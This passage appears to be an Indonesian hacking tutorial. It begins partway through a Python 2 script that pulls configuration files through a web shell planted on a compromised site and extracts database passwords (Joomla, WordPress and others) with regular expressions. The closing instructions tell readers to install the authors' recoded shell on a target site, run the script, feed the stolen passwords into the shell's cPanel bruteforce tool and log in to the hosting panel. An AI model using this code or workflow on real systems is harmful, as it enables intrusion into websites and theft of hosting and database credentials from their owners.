    read = req.read() 
    if system() == 'Linux': 
      f = open('/tmp/data.txt', 'w') 
      f.write(read) 
      f.close() 
    if system() == 'Windows': 
      f = open('data.txt', 'w')   
      f.write(read) 
      f.close() 
  
  
    i = 0
    if system() == 'Linux': 
      banner() 
      f = open('/tmp/data.txt', 'rU') 
      for line in f: 
        if line.startswith('<li><a') == True : 
          m = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m.group(2) 
          try:  urllib.urlretrieve(site + m.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<img') == True: 
          m1 = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m1.group(2) 
          try:  urllib.urlretrieve(site + m1.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<IMG') == True: 
          m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m2.group(2) 
          try:  urllib.urlretrieve(site + m2.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
      f.close() 
    if system() == 'Windows': 
      banner()   
      f = open('data.txt', 'rU') 
      for line in f: 
        if line.startswith('<li><a') == True : 
          m = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m.group(2) 
          try:  urllib.urlretrieve(site + m.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<img') == True: 
          m1 = re.search(r'(<a href=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m1.group(2) 
          try:  urllib.urlretrieve(site + m1.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
        if line.startswith('<IMG') == True: 
          m2 = re.search(r'(<A HREF=")(.+[^>])(">)', line) 
          i += 1
          local_name = '%s/file%d.txt' % (fout, i) 
          print 'Retrieving...\t\t', site + m2.group(2) 
          try:  urllib.urlretrieve(site + m2.group(2), local_name) 
          except IOError: 
            print '\n[%s] doesn\'t exist, create it first' % fout 
            sys.exit() 
      f.close() 
    if system() == 'Linux': 
     cleanup = subprocess.Popen('rm -rf /tmp/data.txt > /dev/null', shell=True).wait() 
    if system() == 'Windows': 
      cleanup = subprocess.Popen('del C:\data.txt', shell=True).wait() 
    print '\n', '-' * 100, '\n'
    if system() == 'Linux': 
        for root, dirs, files in os.walk(fout): 
          for fname in files: 
            fullpath = os.path.join(root, fname) 
            f = open(fullpath, 'r') 
            for line in f: 
              secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line) 
              if secr is not None: print (secr.group(2))   
              secr1 = re.search(r"(password = ')(.+[^>])(';)", line) 
              if secr1 is not None:  print  (secr1.group(2)) 
              secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line) 
              if secr2 is not None: print (secr2.group(3)) 
              secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line) 
              if secr3 is not None: print (secr3.group(2)) 
              secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line) 
              if secr4 is not None: print (secr4.group(2)) 
              secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line) 
              if secr5 is not None: print (secr5.group(2)) 
              secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line) 
              if secr6 is not None: print (secr6.group(2)) 
              secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line) 
              if secr7 is not None: print (secr7.group(2)) 
            f.close() 
    if system() == 'Windows': 
        for infile in glob.glob( os.path.join(fout, '*.txt') ): 
            f = open(infile, 'r') 
            for line in f: 
              secr = re.search (r"(db_password'] = ')(.+[^>])(';)", line) 
              if secr is not None: print (secr.group(2))   
              secr1 = re.search(r"(password = ')(.+[^>])(';)", line) 
              if secr1 is not None:  print  (secr1.group(2)) 
              secr2 = re.search(r"(DB_PASSWORD')(...)(.+[^>])(')", line) 
              if secr2 is not None: print (secr2.group(3)) 
              secr3 = re.search (r"(dbpass =..)(.+[^>])(.;)", line) 
              if secr3 is not None: print (secr3.group(2)) 
              secr4 = re.search (r"(DBPASSWORD = ')(.+[^>])(.;)", line) 
              if secr4 is not None: print (secr4.group(2)) 
              secr5 = re.search (r"(DBpass = ')(.+[^>])(';)", line) 
              if secr5 is not None: print (secr5.group(2)) 
              secr6 = re.search (r"(dbpasswd = ')(.+[^>])(';)", line) 
              if secr6 is not None: print (secr6.group(2)) 
              secr7 = re.search (r"(mosConfig_password = ')(.+[^>])(';)", line) 
              if secr7 is not None: print (secr7.group(2)) 
            f.close() 
              
    print '\nCreated by: Idiot Attacker \n >> Arpns1986x a.k.a RioSetyawan'
except (KeyboardInterrupt): 
    print '\nThanks for using it ._^' 

Oh iya jangan lupa Instal Phytonya, Kalo belum punya bisa download disini
Dan pastikan kalian udah punya website yang udah tertanam shell,
Pakai shell dari kami, soalnya sudah kami recoding buat ngambil config nantinya,
[ Download ] Shell Injection Recoded By Idiot Attacker 

Setelah itu klik Idiot shell, lihat gambar di bawah


Ikuti Langkah-langkah di bawah ini, lihat gambar


Setelah itu open new tab confignya, lihat gambar





Copy Link Nya, Ingat jangan salah, Config nya yg http://site.com/IDIOTSHELL yang di copy,
Bukan http://site.com/idiotshell

Setelah itu run file kalian tadi.
perintahnya file.py http://site.com/IDIOTSHELL folder penyimpanan configmu nanti,
contoh misalnya saya simpan di drive H di folder config, maka perintahnya
file.py http://site.com/IDIOTSHELL h:\config




Lalu tekan Enter


Nah itu udah dapat password config nya, copy password confignya, cara copynya klik kanan mark, blog lalu enter,









Setelah itu masuk lagi ke shell tadi.
Klik Cpanel Bruteforce, pastekan list password tadi di bawah kolom user, Lalu klik start




Nah sudah dapat user+pass cpanelnya, silahkan login dengan IP server nya, IP server bisa kalian lihat di atas menu shell.
Tambahkan :2082 atau :2083 untuk login cpanel
Contoh: 127.0.0.1:2083
Sekian Wasalam ^_^